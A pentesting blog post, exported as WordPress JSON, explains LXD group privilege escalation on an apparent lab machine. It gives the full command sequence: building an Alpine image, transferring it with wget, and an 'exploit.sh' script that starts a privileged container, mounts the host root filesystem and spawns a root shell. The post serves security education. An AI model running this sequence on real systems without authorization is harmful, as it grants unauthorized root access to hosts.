{"id":331,"date":"2020-07-01T08:47:02","date_gmt":"2020-07-01T08:47:02","guid":{"rendered":"https:\/\/shreyapohekar.com\/blogs\/?p=331"},"modified":"2021-01-21T13:18:57","modified_gmt":"2021-01-21T13:18:57","slug":"lxd-privilege-escalation","status":"publish","type":"post","link":"https:\/\/shreyapohekar.com\/blogs\/lxd-privilege-escalation\/","title":{"rendered":"Lxd privilege escalation with security.privilege= true"},"content":{"rendered":"\n<p class=\"has-drop-cap\">Hello pentesters!! In this blog post, we will see how an account of the lxd group can elevate its privileges to admin (root).<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Vulnerability<\/h2>\n\n\n\n<p>A low privilege user can create a bridge between sockets on the host and its containers. <strong>When bridging from an existing socket on the host to a new socket in a container, it makes the connection with the credentials of the LXD service (root) as opposed to those of the calling user.<\/strong> Then, when a user speaks to the socket endpoint in the container, the message goes through the proxy and arrives at the host socket with root level credentials. More details can be found <a href=\"https:\/\/shenaniganslabs.io\/2019\/05\/21\/LXD-LPE.html\"><span class=\"has-inline-color has-vivid-cyan-blue-color\">here.<\/span><\/a><\/p>\n\n\n\n<p>Here we will be using LXD API to mount the host\u2019s root filesystem into a container. And this will give root level access to a low-priv user.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Basics of LXC and LXD<\/h2>\n\n\n\n<p><strong>LXC stands for Linux container<\/strong>. It is a&nbsp; lightweight virtualization technology that is something in the middle between a chroot and a completely developed virtual machine, which creates an environment as close as possible to a Linux installation but without the need for a separate kernel. LXC aims to use a feature of containers to provide a userspace container object which provides full resource isolation and resource control for an application or system. LXC is small enough to manage containers with simple command lines.<\/p>\n\n\n\n<p><strong>LXD stands for Linux daemon.<\/strong> Its a next-gen container and VM manager. It provides a <strong>UNIX socket for local communication<\/strong>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Importing the image<\/h2>\n\n\n\n<p>One can list the contents of \/etc\/group to find out if any user is present in the lxd group.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># cat \/etc\/group<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/MgLPYvtRzW26RuHlXe8IUa_hNB7KHF8UQmKTpxkTpinFsBxozPUEfrYQ4OH8Y2QBTM6oQ5CIBGK5CGmydTt8xn8badf4fQwFeIs8DCrZ7ZhVNeSnMGD1--6MOM7IA38Uuep0DF1m\" alt=\"user ash is present in the lxd group\"\/><figcaption>user ash is present in the lxd group<\/figcaption><\/figure>\n\n\n\n<p>Now we can download the alpine linux for lxd from github.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">#&nbsp; git clone https:\/\/github.com\/saghul\/lxd-alpine-builder.git\n#&nbsp; cd lxd-alpine-builder\n# .\/build-alpine<\/pre>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"132\" src=\"https:\/\/lh4.googleusercontent.com\/-ZghX-2B2RfaOje3YidSAjks-WTklEF6KyxZMW1T03yJXDVKFnsy2_Sse0T5BT2kjJBhJNct3tMyXg1Fu-X5Qve_G97WlMjTXAmOicfgUVaShgbVyJ4eBlN00BGjaDoT4bZirEYu\"><\/p>\n\n\n\n<p>It will create a  .tar.gz file. Send the file to the target machine with a simple python server. <\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># python -m SimpleHTTPServer\n# wget http:\/\/10.10.14.42\/alpine-v3.12-x86_64-20200629_1550.tar.gz <\/pre>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/3KW2dWFkr62SjpUL6AEIe0M_vRwz2OGSqWoWcrrJTfPpzscgd15JwObWvTVEuQZoKuqgEkadfr2qL-0c3LUx7Pb85LOq2nt3AX268CnW39eM4wxjQiqDy14SM0f7YcTZ5M10EaJW\" width=\"624\" height=\"87\"><\/p>\n\n\n\n<p>To add an image to lxd run,<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># lxc image import .\/alpine-v3.12-x86_64-20200629_1550.tar.gz --alias myimage<\/pre>\n\n\n\n<p>To see the list of images run,<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># lxc image list<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/prLs3amW2GCXyT4G51XS2R6MiXCFYhTm77it4KIcG2GJltVZywKkd8tSSmcPHH7cqpFbVrtDvlHsvP_MlPtkUur5dpFE2DmUgdl9k1VEqxdySSh6Pr4xLbYab-gMRHmotQ9F9gUM\" alt=\"\"\/><\/figure>\n\n\n\n<p>Here we can clearly see that our image named <strong>myimage <\/strong>is listed.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Privelege escalation<\/h2>\n\n\n\n<p>Create a script exploit.sh with a following set of commands and you will be good to go.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">lxc init myimage ignite -c security.privileged=true\nlxc config device add ignite mydevice disk source=\/ path=\/mnt\/root recursive=true\nlxc start ignite\nlxc exec ignite \/bin\/sh\nid<\/pre>\n\n\n\n<p>Lets break down what the script is doing!<\/p>\n\n\n\n<p><strong>myimage <\/strong>is alias name and <strong>ignite <\/strong>is the name of container.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>security.privilege= true<\/strong> creates a privileged container that sets the root user inside the container to be the same as the root user on the host system.&nbsp;<\/li><li><strong>Lxc config device command <\/strong>configures the \/ of the host to be shared to the container at \/mnt\/root<\/li><li>Then the container <strong>ignite <\/strong>is started<\/li><li><strong>Lxc exec <\/strong>run as<strong> the root user<\/strong>, in the \/root directory inside the container. Here \/bin\/sh will be executed as root<\/li><li><strong>Id<\/strong> gives the name of the currently logged-in user. We are now root as the container was privileged.<\/li><\/ul>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/kEfEx0H8Y59fVhMxUJ4UsD8hp4HQ4LnSIFPwpIaDykXTymqMerG8Wdt2rvloBEjNtkhesA_9qWFKCLOFdiyawzi1Ss8CrpHAKeWSUMh2YQtEQLzlFH3WMHJ2GNDgef2csHxMK-MM\" alt=\"\"\/><\/figure>\n\n\n\n<p>We are now inside a container and all of the host file system is shared to the container that is mounted on <strong>\/mnt\/root<\/strong><\/p>\n\n\n\n<p>So any file that you want to read can be accessed as<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># cat \/mnt\/root\/root\/.bashrc&nbsp;<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/WUuJVqiR64HXriQwYOuVFodpwPEtuopdITnMQW1jvglFcwgYBgscB_zApkKa_qNJxFACrFW0ACs6_EZKtQHOpTydtzGpM_UxYuLNH9yqPRK7RHMB48mjTAVGa7YAsln6_kgXpoyi\" alt=\"\"\/><\/figure>\n\n\n\n<p>That\u2019s all for the blog post. Hope you enjoyed reading. For more such content visit <a href=\"https:\/\/shreyapohekar.com\/blogs\/\"><span class=\"has-inline-color has-vivid-cyan-blue-color\">here<\/span><\/a>.<br> See you in the next post. Until then, happy hunting!!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>When a normal user is part of lxd group, he can easily escalate his privileges to root..security.privilege= true creates a privileged lxd container.<\/p>\n","protected":false},"author":1,"featured_media":333,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ocean_post_layout":"","ocean_both_sidebars_style":"","ocean_both_sidebars_content_width":0,"ocean_both_sidebars_sidebars_width":0,"ocean_sidebar":"","ocean_second_sidebar":"","ocean_disable_margins":"enable","ocean_add_body_class":"","ocean_shortcode_before_top_bar":"","ocean_shortcode_after_top_bar":"","ocean_shortcode_before_header":"","ocean_shortcode_after_header":"","ocean_has_shortcode":"","ocean_shortcode_after_title":"","ocean_shortcode_before_footer_widgets":"","ocean_shortcode_after_footer_widgets":"","ocean_shortcode_before_footer_bottom":"","ocean_shortcode_after_footer_bottom":"","ocean_display_top_bar":"default","ocean_display_header":"default","ocean_header_style":"","ocean_center_header_left_menu":"","ocean_custom_header_template":"","ocean_custom_logo":0,"ocean_custom_retina_logo":0,"ocean_custom_logo_max_width":0,"ocean_custom_logo_tablet_max_width":0,"ocean_custom_logo_mobile_max_width":0,"ocean_custom_logo_max_height":0,"ocean_custom_logo_tablet_max_height":0,"ocean_custom_logo_mobile_max_height":0,"ocean_header_custom_menu":"","ocean_menu_typo_font_family":"","ocean_menu_typo_font_subset":"","ocean_menu_typo_font_size":0,"ocean_menu_typo_font_size_tablet":0,"ocean_menu_typo_font_size_mobile":0,"ocean_menu_typo_font_size_unit":"px","ocean_menu_typo_font_weight":"","ocean_menu_typo_font_weight_tablet":"","ocean_menu_typo_font_weight_mobile":"","ocean_menu_typo_transform":"","ocean_menu_typo_transform_tablet":"","ocean_menu_typo_transform_mobile":"","ocean_menu_typo_line_height":0,"ocean_menu_typo_line_height_tablet":0,"ocean_menu_typo_line_height_mobile":0,"ocean_menu_typo_line_height_unit":"","ocean_menu_typo_spacing":0,"ocean_menu_typo_spacing_tablet":0,"ocean_menu_typo_spacing_mobile":0,"ocean_menu_typo_spacing_unit":"","ocean_menu_link_color":"","ocean_menu_link_color_hover":"","ocean_menu_link_color_active":"","ocean_menu_link_background":"","ocean_menu_link_hover_background":"","ocean_menu_link_active_background":"","ocean_menu_social_links_bg":"","ocean_menu_social_hover_links_bg":"","ocean_menu_social_links_color":"","ocean_menu_social_hover_links_color":"","ocean_disable_title":"default","ocean_disable_heading":"default","ocean_post_title":"","ocean_post_subheading":"","ocean_post_title_style":"","ocean_post_title_background_color":"","ocean_post_title_background":0,"ocean_post_title_bg_image_position":"","ocean_post_title_bg_image_attachment":"","ocean_post_title_bg_image_repeat":"","ocean_post_title_bg_image_size":"","ocean_post_title_height":0,"ocean_post_title_bg_overlay":0.5,"ocean_post_title_bg_overlay_color":"","ocean_disable_breadcrumbs":"default","ocean_breadcrumbs_color":"","ocean_breadcrumbs_separator_color":"","ocean_breadcrumbs_links_color":"","ocean_breadcrumbs_links_hover_color":"","ocean_display_footer_widgets":"default","ocean_display_footer_bottom":"default","ocean_custom_footer_template":"","ocean_post_oembed":"","ocean_post_self_hosted_media":"","ocean_post_video_embed":"","ocean_link_format":"","ocean_link_format_target":"self","ocean_quote_format":"","ocean_quote_format_link":"post","ocean_gallery_link_images":"on","ocean_gallery_id":[],"footnotes":""},"categories":[2,141],"tags":[205,204,201,207,206,200,203],"class_list":["post-331","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-information-security","category-linux","tag-alpine-linux","tag-containers","tag-lxc","tag-lxc-exec","tag-lxc-init","tag-lxd","tag-security-privilegetrue","entry","has-media"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/331"}],"collection":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/comments?post=331"}],"version-history":[{"count":2,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/331\/revisions"}],"predecessor-version":[{"id":334,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/331\/revisions\/334"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media\/333"}],"wp:attachment":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media?parent=331"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/categories?post=331"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/tags?post=331"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}